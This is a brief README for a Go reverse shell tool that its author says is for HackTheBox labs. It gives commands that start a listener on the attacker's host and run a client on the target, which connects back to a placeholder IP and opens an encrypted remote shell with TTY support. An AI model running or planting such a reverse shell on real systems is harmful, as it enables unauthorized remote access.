Simple golang reverse shell with encryption and tty upgrade. I use it for hackthebox.
Download both files from the release page. Upload dshellclient to the target.
On your linux host, run ./dshellserver -p PORT
.
On the target, run ./dshellclient YOURIP PORT
.
You should get a connection, with a TTY that supports tab autocomplete and clear screen with CTRL-L. The shell is plain text underneath TLS with x509 certificates.